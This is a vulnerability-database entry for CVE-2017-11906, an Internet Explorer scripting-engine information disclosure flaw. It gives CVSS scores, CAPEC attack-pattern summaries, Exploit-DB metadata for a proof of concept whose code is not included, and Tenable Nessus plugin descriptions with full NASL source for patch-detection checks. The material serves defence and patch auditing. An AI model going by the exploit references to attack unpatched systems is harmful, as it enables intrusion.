Vulnerabilities > CVE-2017-11906 - Information Exposure vulnerability in Microsoft Internet Explorer 10/11/9

047910
CVSS 2.6 - LOW
Attack vector
NETWORK
Attack complexity
HIGH
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
NONE
Availability impact
NONE
network
high complexity
microsoft
CWE-200
nessus
exploit available
NVD
Published: 2017-12-12
Updated: 2017-12-26

Summary

Internet Explorer in Microsoft Windows 7 SP1, Windows Server 2008 and R2 SP1, Windows 8.1 and Windows RT 8.1, Windows Server 2012 and R2, and Windows 10 Gold, 1511, 1607, 1703, 1709, and Windows Server 2016 allows an attacker to obtain information to further compromise the user's system, due to how Internet Explorer handles objects in memory, aka "Scripting Engine Information Disclosure Vulnerability". This CVE ID is unique from CVE-2017-11887 and CVE-2017-11919.

Vulnerable Configurations

Part Description Count
Application
Microsoft
3
OS
Microsoft
13

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Subverting Environment Variable Values
    The attacker directly or indirectly modifies environment variables used by or controlling the target software. The attacker's goal is to cause the target software to deviate from its expected operation in a manner that benefits the attacker.
  • Footprinting
    An attacker engages in probing and exploration activity to identify constituents and properties of the target. Footprinting is a general term to describe a variety of information gathering techniques, often used by attackers in preparation for some attack. It consists of using tools to learn as much as possible about the composition, configuration, and security mechanisms of the targeted application, system or network. Information that might be collected during a footprinting effort could include open ports, applications and their versions, network topology, and similar information. While footprinting is not intended to be damaging (although certain activities, such as network scans, can sometimes cause disruptions to vulnerable applications inadvertently) it may often pave the way for more damaging attacks.
  • Exploiting Trust in Client (aka Make the Client Invisible)
    An attack of this type exploits a programs' vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by placing themselves in the communication channel between client and server such that communication directly to the server is possible where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
  • Browser Fingerprinting
    An attacker carefully crafts small snippets of Java Script to efficiently detect the type of browser the potential victim is using. Many web-based attacks need prior knowledge of the web browser including the version of browser to ensure successful exploitation of a vulnerability. Having this knowledge allows an attacker to target the victim with attacks that specifically exploit known or zero day weaknesses in the type and version of the browser used by the victim. Automating this process via Java Script as a part of the same delivery system used to exploit the browser is considered more efficient as the attacker can supply a browser fingerprinting method and integrate it with exploit code, all contained in Java Script and in response to the same web page request by the browser.
  • Session Credential Falsification through Prediction
    This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

Exploit-Db

descriptionMicrosoft Windows - 'jscript!RegExpFncObj::LastParen' Out-of-Bounds Read. CVE-2017-11906. Dos exploit for Windows platform. Tags: Out Of Bounds
fileexploits/windows/dos/43372.html
idEDB-ID:43372
last seen2017-12-19
modified2017-12-19
platformwindows
port
published2017-12-19
reporterExploit-DB
sourcehttps://www.exploit-db.com/download/43372/
titleMicrosoft Windows - 'jscript!RegExpFncObj::LastParen' Out-of-Bounds Read
typedos

Nessus

  • NASL familyWindows : Microsoft Bulletins
    NASL idSMB_NT_MS17_DEC_4053581.NASL
    descriptionThe remote Windows host is missing security update 4053581. It is, therefore, affected by multiple vulnerabilities : - A security feature bypass exists when Device Guard incorrectly validates an untrusted file. An attacker who successfully exploited this vulnerability could make an unsigned file appear to be signed. Because Device Guard relies on the signature to determine the file is non- malicious, Device Guard could then allow a malicious file to execute. In an attack scenario, an attacker could make an untrusted file appear to be a trusted file. The update addresses the vulnerability by correcting how Device Guard handles untrusted files. (CVE-2017-11899) - An information disclosure vulnerability exists when the scripting engine does not properly handle objects in memory in Microsoft browsers. An attacker who successfully exploited the vulnerability could obtain information to further compromise the users system. (CVE-2017-11919) - A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. (CVE-2017-11889, CVE-2017-11910, CVE-2017-11918) - A remote code execution vulnerability exists when Microsoft Edge improperly accesses objects in memory. The vulnerability could corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. (CVE-2017-11888) - A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. (CVE-2017-11886, CVE-2017-11890, CVE-2017-11901, CVE-2017-11903, CVE-2017-11907, CVE-2017-11913) - A remote code execution vulnerability exists in RPC if the server has Routing and Remote Access enabled. An attacker who successfully exploited this vulnerability could execute code on the target system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. (CVE-2017-11885) - A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. (CVE-2017-11894, CVE-2017-11895, CVE-2017-11912, CVE-2017-11930) - An information disclosure vulnerability exists when Internet Explorer improperly handles objects in memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the users system. (CVE-2017-11887, CVE-2017-11906) - An information disclosure vulnerability exists when the Windows its:// protocol handler unnecessarily sends traffic to a remote site in order to determine the zone of a provided URL. This could potentially result in the disclosure of sensitive information to a malicious site. (CVE-2017-11927)
    last seen2020-06-01
    modified2020-06-02
    plugin id105182
    published2017-12-12
    reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/105182
    titleKB4053581: Windows 10 December 2017 Security Update
    code
    #
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from the Microsoft Security Updates API. The text
# itself is copyright (C) Microsoft Corporation.
#
include("compat.inc");

if (description)
{
  script_id(105182);
  script_version("1.9");
  script_cvs_date("Date: 2019/11/12");

  script_cve_id(
    "CVE-2017-11885",
    "CVE-2017-11886",
    "CVE-2017-11887",
    "CVE-2017-11888",
    "CVE-2017-11889",
    "CVE-2017-11890",
    "CVE-2017-11894",
    "CVE-2017-11895",
    "CVE-2017-11899",
    "CVE-2017-11901",
    "CVE-2017-11903",
    "CVE-2017-11906",
    "CVE-2017-11907",
    "CVE-2017-11910",
    "CVE-2017-11912",
    "CVE-2017-11913",
    "CVE-2017-11918",
    "CVE-2017-11919",
    "CVE-2017-11927",
    "CVE-2017-11930"
  );
  script_bugtraq_id(
    102045,
    102046,
    102047,
    102053,
    102054,
    102055,
    102058,
    102062,
    102063,
    102065,
    102077,
    102078,
    102080,
    102082,
    102086,
    102089,
    102091,
    102092,
    102093,
    102095
  );
  script_xref(name:"MSKB", value:"4053581");
  script_xref(name:"MSFT", value:"MS17-4053581");

  script_name(english:"KB4053581: Windows 10 December 2017 Security Update");
  script_summary(english:"Checks for rollup.");

  script_set_attribute(attribute:"synopsis", value:
"The remote Windows host is affected by multiple vulnerabilities.");
  script_set_attribute(attribute:"description", value:
"The remote Windows host is missing security update 4053581.
It is, therefore, affected by multiple vulnerabilities :

  - A security feature bypass exists when Device Guard
    incorrectly validates an untrusted file. An attacker who
    successfully exploited this vulnerability could make an
    unsigned file appear to be signed. Because Device Guard
    relies on the signature to determine the file is non-
    malicious, Device Guard could then allow a malicious
    file to execute. In an attack scenario, an attacker
    could make an untrusted file appear to be a trusted
    file. The update addresses the vulnerability by
    correcting how Device Guard handles untrusted files.
    (CVE-2017-11899)

  - An information disclosure vulnerability exists when the
    scripting engine does not properly handle objects in
    memory in Microsoft browsers. An attacker who
    successfully exploited the vulnerability could obtain
    information to further compromise the users system.
    (CVE-2017-11919)

  - A remote code execution vulnerability exists in the way
    that the scripting engine handles objects in memory in
    Microsoft Edge. The vulnerability could corrupt memory
    in such a way that an attacker could execute arbitrary
    code in the context of the current user. An attacker who
    successfully exploited the vulnerability could gain the
    same user rights as the current user.  (CVE-2017-11889,
    CVE-2017-11910, CVE-2017-11918)

  - A remote code execution vulnerability exists when
    Microsoft Edge improperly accesses objects in memory.
    The vulnerability could corrupt memory in such a way
    that enables an attacker to execute arbitrary code in
    the context of the current user. An attacker who
    successfully exploited the vulnerability could gain the
    same user rights as the current user.  (CVE-2017-11888)

  - A remote code execution vulnerability exists when
    Internet Explorer improperly accesses objects in memory.
    The vulnerability could corrupt memory in such a way
    that an attacker could execute arbitrary code in the
    context of the current user. An attacker who
    successfully exploited the vulnerability could gain the
    same user rights as the current user.  (CVE-2017-11886,
    CVE-2017-11890, CVE-2017-11901, CVE-2017-11903,
    CVE-2017-11907, CVE-2017-11913)

  - A remote code execution vulnerability exists in RPC if
    the server has Routing and Remote Access enabled. An
    attacker who successfully exploited this vulnerability
    could execute code on the target system. An attacker
    could then install programs; view, change, or delete
    data; or create new accounts with full user rights.
    (CVE-2017-11885)

  - A remote code execution vulnerability exists in the way
    the scripting engine handles objects in memory in
    Microsoft browsers. The vulnerability could corrupt
    memory in such a way that an attacker could execute
    arbitrary code in the context of the current user. An
    attacker who successfully exploited the vulnerability
    could gain the same user rights as the current user.
    (CVE-2017-11894, CVE-2017-11895, CVE-2017-11912,
    CVE-2017-11930)

  - An information disclosure vulnerability exists when
    Internet Explorer improperly handles objects in memory.
    An attacker who successfully exploited the vulnerability
    could obtain information to further compromise the users
    system.  (CVE-2017-11887, CVE-2017-11906)

  - An information disclosure vulnerability exists when the
    Windows its:// protocol handler unnecessarily sends
    traffic to a remote site in order to determine the zone
    of a provided URL. This could potentially result in the
    disclosure of sensitive information to a malicious site.
    (CVE-2017-11927)");
  # https://support.microsoft.com/en-us/help/4053581/windows-10-update-kb4053581
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?dfb1aa54");
  script_set_attribute(attribute:"solution", value:
"Apply security update KB4053581.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:S/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:H/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2017-11885");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_malware", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2017/12/12");
  script_set_attribute(attribute:"patch_publication_date", value:"2017/12/12");
  script_set_attribute(attribute:"plugin_publication_date", value:"2017/12/12");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:microsoft:windows");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"Windows : Microsoft Bulletins");

  script_copyright(english:"This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("smb_check_rollup.nasl", "smb_hotfixes.nasl", "ms_bulletin_checks_possible.nasl");
  script_require_keys("SMB/MS_Bulletin_Checks/Possible");
  script_require_ports(139, 445, "Host/patch_management_checks");

  exit(0);
}

include("audit.inc");
include("smb_hotfixes_fcheck.inc");
include("smb_hotfixes.inc");
include("smb_func.inc");
include("misc_func.inc");

get_kb_item_or_exit("SMB/MS_Bulletin_Checks/Possible");

bulletin = "MS17-12";
kbs = make_list('4053581');

if (get_kb_item("Host/patch_management_checks")) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);

get_kb_item_or_exit("SMB/Registry/Enumerated");
get_kb_item_or_exit("SMB/WindowsVersion", exit_code:1);

if (hotfix_check_sp_range(win10:'0') <= 0) audit(AUDIT_OS_SP_NOT_VULN);

share = hotfix_get_systemdrive(as_share:TRUE, exit_on_fail:TRUE);
if (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);

if (
  smb_check_rollup(os:"10",
                   sp:0,
                   os_build:"10240",
                   rollup_date:"12_2017",
                   bulletin:bulletin,
                   rollup_kb_list:[4053581])
)
{
  replace_kb_item(name:'SMB/Missing/'+bulletin, value:TRUE);
  hotfix_security_hole();
  hotfix_check_fversion_end();
  exit(0);
}
else
{
  hotfix_check_fversion_end();
  audit(AUDIT_HOST_NOT, hotfix_get_audit_report());
}
  • NASL familyWindows : Microsoft Bulletins
    NASL idSMB_NT_MS17_DEC_4054517.NASL
    descriptionThe remote Windows host is missing security update 4054517. It is, therefore, affected by multiple vulnerabilities : - A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. (CVE-2017-11889, CVE-2017-11893, CVE-2017-11905, CVE-2017-11908, CVE-2017-11909, CVE-2017-11910, CVE-2017-11911, CVE-2017-11914, CVE-2017-11918) - A security feature bypass exists when Device Guard incorrectly validates an untrusted file. An attacker who successfully exploited this vulnerability could make an unsigned file appear to be signed. Because Device Guard relies on the signature to determine the file is non- malicious, Device Guard could then allow a malicious file to execute. In an attack scenario, an attacker could make an untrusted file appear to be a trusted file. The update addresses the vulnerability by correcting how Device Guard handles untrusted files. (CVE-2017-11899) - An information disclosure vulnerability exists when the scripting engine does not properly handle objects in memory in Microsoft browsers. An attacker who successfully exploited the vulnerability could obtain information to further compromise the users system. (CVE-2017-11919) - A remote code execution vulnerability exists when Microsoft Edge improperly accesses objects in memory. The vulnerability could corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. (CVE-2017-11888) - A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. (CVE-2017-11886, CVE-2017-11890, CVE-2017-11901, CVE-2017-11903, CVE-2017-11907, CVE-2017-11913) - A remote code execution vulnerability exists in RPC if the server has Routing and Remote Access enabled. An attacker who successfully exploited this vulnerability could execute code on the target system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. (CVE-2017-11885) - A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. (CVE-2017-11894, CVE-2017-11895, CVE-2017-11912, CVE-2017-11930) - An information disclosure vulnerability exists when Internet Explorer improperly handles objects in memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the users system. (CVE-2017-11887, CVE-2017-11906) - An information disclosure vulnerability exists when the Windows its:// protocol handler unnecessarily sends traffic to a remote site in order to determine the zone of a provided URL. This could potentially result in the disclosure of sensitive information to a malicious site. (CVE-2017-11927)
    last seen2020-06-01
    modified2020-06-02
    plugin id105183
    published2017-12-12
    reporterThis script is Copyright (C) 2017-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/105183
    titleKB4054517: Windows 10 Version 1709 and Windows Server Version 1709 December 2017 Security Update
    code
    #
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from the Microsoft Security Updates API. The text
# itself is copyright (C) Microsoft Corporation.
#
include("compat.inc");

if (description)
{
  script_id(105183);
  script_version("1.10");
  script_cvs_date("Date: 2018/12/13 17:21:46");

  script_cve_id(
    "CVE-2017-11885",
    "CVE-2017-11886",
    "CVE-2017-11887",
    "CVE-2017-11888",
    "CVE-2017-11889",
    "CVE-2017-11890",
    "CVE-2017-11893",
    "CVE-2017-11894",
    "CVE-2017-11895",
    "CVE-2017-11899",
    "CVE-2017-11901",
    "CVE-2017-11903",
    "CVE-2017-11905",
    "CVE-2017-11906",
    "CVE-2017-11907",
    "CVE-2017-11908",
    "CVE-2017-11909",
    "CVE-2017-11910",
    "CVE-2017-11911",
    "CVE-2017-11912",
    "CVE-2017-11913",
    "CVE-2017-11914",
    "CVE-2017-11918",
    "CVE-2017-11919",
    "CVE-2017-11927",
    "CVE-2017-11930"
  );
  script_bugtraq_id(
    102045,
    102046,
    102047,
    102050,
    102052,
    102053,
    102054,
    102055,
    102058,
    102062,
    102063,
    102065,
    102077,
    102078,
    102080,
    102081,
    102082,
    102085,
    102086,
    102087,
    102088,
    102089,
    102091,
    102092,
    102093,
    102095
  );
  script_xref(name:"MSKB", value:"4054517");
  script_xref(name:"MSFT", value:"MS17-4054517");

  script_name(english:"KB4054517: Windows 10 Version 1709 and Windows Server Version 1709 December 2017 Security Update");
  script_summary(english:"Checks for rollup.");

  script_set_attribute(attribute:"synopsis", value:
"The remote Windows host is affected by multiple vulnerabilities.");
  script_set_attribute(attribute:"description", value:
"The remote Windows host is missing security update 4054517.
It is, therefore, affected by multiple vulnerabilities :

  - A remote code execution vulnerability exists in the way
    that the scripting engine handles objects in memory in
    Microsoft Edge. The vulnerability could corrupt memory
    in such a way that an attacker could execute arbitrary
    code in the context of the current user. An attacker who
    successfully exploited the vulnerability could gain the
    same user rights as the current user.  (CVE-2017-11889,
    CVE-2017-11893, CVE-2017-11905, CVE-2017-11908,
    CVE-2017-11909, CVE-2017-11910, CVE-2017-11911,
    CVE-2017-11914, CVE-2017-11918)

  - A security feature bypass exists when Device Guard
    incorrectly validates an untrusted file. An attacker who
    successfully exploited this vulnerability could make an
    unsigned file appear to be signed. Because Device Guard
    relies on the signature to determine the file is non-
    malicious, Device Guard could then allow a malicious
    file to execute. In an attack scenario, an attacker
    could make an untrusted file appear to be a trusted
    file. The update addresses the vulnerability by
    correcting how Device Guard handles untrusted files.
    (CVE-2017-11899)

  - An information disclosure vulnerability exists when the
    scripting engine does not properly handle objects in
    memory in Microsoft browsers. An attacker who
    successfully exploited the vulnerability could obtain
    information to further compromise the users system.
    (CVE-2017-11919)

  - A remote code execution vulnerability exists when
    Microsoft Edge improperly accesses objects in memory.
    The vulnerability could corrupt memory in such a way
    that enables an attacker to execute arbitrary code in
    the context of the current user. An attacker who
    successfully exploited the vulnerability could gain the
    same user rights as the current user.  (CVE-2017-11888)

  - A remote code execution vulnerability exists when
    Internet Explorer improperly accesses objects in memory.
    The vulnerability could corrupt memory in such a way
    that an attacker could execute arbitrary code in the
    context of the current user. An attacker who
    successfully exploited the vulnerability could gain the
    same user rights as the current user.  (CVE-2017-11886,
    CVE-2017-11890, CVE-2017-11901, CVE-2017-11903,
    CVE-2017-11907, CVE-2017-11913)

  - A remote code execution vulnerability exists in RPC if
    the server has Routing and Remote Access enabled. An
    attacker who successfully exploited this vulnerability
    could execute code on the target system. An attacker
    could then install programs; view, change, or delete
    data; or create new accounts with full user rights.
    (CVE-2017-11885)

  - A remote code execution vulnerability exists in the way
    the scripting engine handles objects in memory in
    Microsoft browsers. The vulnerability could corrupt
    memory in such a way that an attacker could execute
    arbitrary code in the context of the current user. An
    attacker who successfully exploited the vulnerability
    could gain the same user rights as the current user.
    (CVE-2017-11894, CVE-2017-11895, CVE-2017-11912,
    CVE-2017-11930)

  - An information disclosure vulnerability exists when
    Internet Explorer improperly handles objects in memory.
    An attacker who successfully exploited the vulnerability
    could obtain information to further compromise the users
    system.  (CVE-2017-11887, CVE-2017-11906)

  - An information disclosure vulnerability exists when the
    Windows its:// protocol handler unnecessarily sends
    traffic to a remote site in order to determine the zone
    of a provided URL. This could potentially result in the
    disclosure of sensitive information to a malicious site.
    (CVE-2017-11927)");
  # https://support.microsoft.com/en-us/help/4054517/windows-10-update-kb4054517
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?3a819f12");
  script_set_attribute(attribute:"solution", value:
"Apply security update KB4054517.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:S/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:H/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2017-11885");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_malware", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2017/12/12");
  script_set_attribute(attribute:"patch_publication_date", value:"2017/12/12");
  script_set_attribute(attribute:"plugin_publication_date", value:"2017/12/12");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:microsoft:windows");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"Windows : Microsoft Bulletins");

  script_copyright(english:"This script is Copyright (C) 2017-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("smb_check_rollup.nasl", "smb_hotfixes.nasl", "ms_bulletin_checks_possible.nasl");
  script_require_keys("SMB/MS_Bulletin_Checks/Possible");
  script_require_ports(139, 445, "Host/patch_management_checks");

  exit(0);
}

include("audit.inc");
include("smb_hotfixes_fcheck.inc");
include("smb_hotfixes.inc");
include("smb_func.inc");
include("misc_func.inc");

get_kb_item_or_exit("SMB/MS_Bulletin_Checks/Possible");

bulletin = "MS17-12";
kbs = make_list('4054517');

if (get_kb_item("Host/patch_management_checks")) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);

get_kb_item_or_exit("SMB/Registry/Enumerated");
get_kb_item_or_exit("SMB/WindowsVersion", exit_code:1);

if (hotfix_check_sp_range(win10:'0') <= 0) audit(AUDIT_OS_SP_NOT_VULN);

share = hotfix_get_systemdrive(as_share:TRUE, exit_on_fail:TRUE);
if (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);

if (
  smb_check_rollup(os:"10",
                   sp:0,
                   os_build:"16299",
                   rollup_date:"12_2017",
                   bulletin:bulletin,
                   rollup_kb_list:[4054517])
)
{
  replace_kb_item(name:'SMB/Missing/'+bulletin, value:TRUE);
  hotfix_security_hole();
  hotfix_check_fversion_end();
  exit(0);
}
else
{
  hotfix_check_fversion_end();
  audit(AUDIT_HOST_NOT, hotfix_get_audit_report());
}
  • NASL familyWindows : Microsoft Bulletins
    NASL idSMB_NT_MS17_DEC_4053580.NASL
    descriptionThe remote Windows host is missing security update 4053580. It is, therefore, affected by multiple vulnerabilities : - A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. (CVE-2017-11889, CVE-2017-11893, CVE-2017-11905, CVE-2017-11909, CVE-2017-11910, CVE-2017-11911, CVE-2017-11914, CVE-2017-11918) - A security feature bypass exists when Device Guard incorrectly validates an untrusted file. An attacker who successfully exploited this vulnerability could make an unsigned file appear to be signed. Because Device Guard relies on the signature to determine the file is non- malicious, Device Guard could then allow a malicious file to execute. In an attack scenario, an attacker could make an untrusted file appear to be a trusted file. The update addresses the vulnerability by correcting how Device Guard handles untrusted files. (CVE-2017-11899) - An information disclosure vulnerability exists when the scripting engine does not properly handle objects in memory in Microsoft browsers. An attacker who successfully exploited the vulnerability could obtain information to further compromise the users system. (CVE-2017-11919) - A remote code execution vulnerability exists when Microsoft Edge improperly accesses objects in memory. The vulnerability could corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. (CVE-2017-11888) - A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. (CVE-2017-11886, CVE-2017-11890, CVE-2017-11901, CVE-2017-11903, CVE-2017-11907, CVE-2017-11913) - A remote code execution vulnerability exists in RPC if the server has Routing and Remote Access enabled. An attacker who successfully exploited this vulnerability could execute code on the target system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. (CVE-2017-11885) - A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. (CVE-2017-11894, CVE-2017-11895, CVE-2017-11912, CVE-2017-11930) - An information disclosure vulnerability exists when Internet Explorer improperly handles objects in memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the users system. (CVE-2017-11887, CVE-2017-11906) - An information disclosure vulnerability exists when the Windows its:// protocol handler unnecessarily sends traffic to a remote site in order to determine the zone of a provided URL. This could potentially result in the disclosure of sensitive information to a malicious site. (CVE-2017-11927)
    last seen2020-06-01
    modified2020-06-02
    plugin id105181
    published2017-12-12
    reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/105181
    titleKB4053580: Windows 10 Version 1703 December 2017 Security Update
  • NASL familyWindows : Microsoft Bulletins
    NASL idSMB_NT_MS17_DEC_4054518.NASL
    descriptionThe remote Windows host is missing security update 4054521 or cumulative update 4054518. It is, therefore, affected by multiple vulnerabilities : - An information disclosure vulnerability exists when the scripting engine does not properly handle objects in memory in Microsoft browsers. An attacker who successfully exploited the vulnerability could obtain information to further compromise the users system. (CVE-2017-11919) - A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. (CVE-2017-11886, CVE-2017-11890, CVE-2017-11901, CVE-2017-11903, CVE-2017-11907, CVE-2017-11913) - A remote code execution vulnerability exists in RPC if the server has Routing and Remote Access enabled. An attacker who successfully exploited this vulnerability could execute code on the target system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. (CVE-2017-11885) - A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. (CVE-2017-11894, CVE-2017-11895, CVE-2017-11912, CVE-2017-11930) - An information disclosure vulnerability exists when Internet Explorer improperly handles objects in memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the users system. (CVE-2017-11887, CVE-2017-11906) - An information disclosure vulnerability exists when the Windows its:// protocol handler unnecessarily sends traffic to a remote site in order to determine the zone of a provided URL. This could potentially result in the disclosure of sensitive information to a malicious site. (CVE-2017-11927)
    last seen2020-06-01
    modified2020-06-02
    plugin id105184
    published2017-12-12
    reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/105184
    titleWindows 7 and Windows Server 2008 R2 December 2017 Security Updates
  • NASL familyWindows : Microsoft Bulletins
    NASL idSMB_NT_MS17_DEC_4053578.NASL
    descriptionThe remote Windows host is missing security update 4053578. It is, therefore, affected by multiple vulnerabilities : - A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. (CVE-2017-11889, CVE-2017-11893, CVE-2017-11905, CVE-2017-11909, CVE-2017-11910, CVE-2017-11911, CVE-2017-11914, CVE-2017-11918) - A security feature bypass exists when Device Guard incorrectly validates an untrusted file. An attacker who successfully exploited this vulnerability could make an unsigned file appear to be signed. Because Device Guard relies on the signature to determine the file is non- malicious, Device Guard could then allow a malicious file to execute. In an attack scenario, an attacker could make an untrusted file appear to be a trusted file. The update addresses the vulnerability by correcting how Device Guard handles untrusted files. (CVE-2017-11899) - An information disclosure vulnerability exists when the scripting engine does not properly handle objects in memory in Microsoft browsers. An attacker who successfully exploited the vulnerability could obtain information to further compromise the users system. (CVE-2017-11919) - A remote code execution vulnerability exists when Microsoft Edge improperly accesses objects in memory. The vulnerability could corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. (CVE-2017-11888) - A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. (CVE-2017-11886, CVE-2017-11890, CVE-2017-11901, CVE-2017-11903, CVE-2017-11907, CVE-2017-11913) - A remote code execution vulnerability exists in RPC if the server has Routing and Remote Access enabled. An attacker who successfully exploited this vulnerability could execute code on the target system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. (CVE-2017-11885) - A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. (CVE-2017-11894, CVE-2017-11895, CVE-2017-11912, CVE-2017-11930) - An information disclosure vulnerability exists when Internet Explorer improperly handles objects in memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the users system. (CVE-2017-11887, CVE-2017-11906) - An information disclosure vulnerability exists when the Windows its:// protocol handler unnecessarily sends traffic to a remote site in order to determine the zone of a provided URL. This could potentially result in the disclosure of sensitive information to a malicious site. (CVE-2017-11927)
    last seen2020-06-01
    modified2020-06-02
    plugin id105179
    published2017-12-12
    reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/105179
    titleKB4053578: Windows 10 Version 1511 December 2017 Security Update
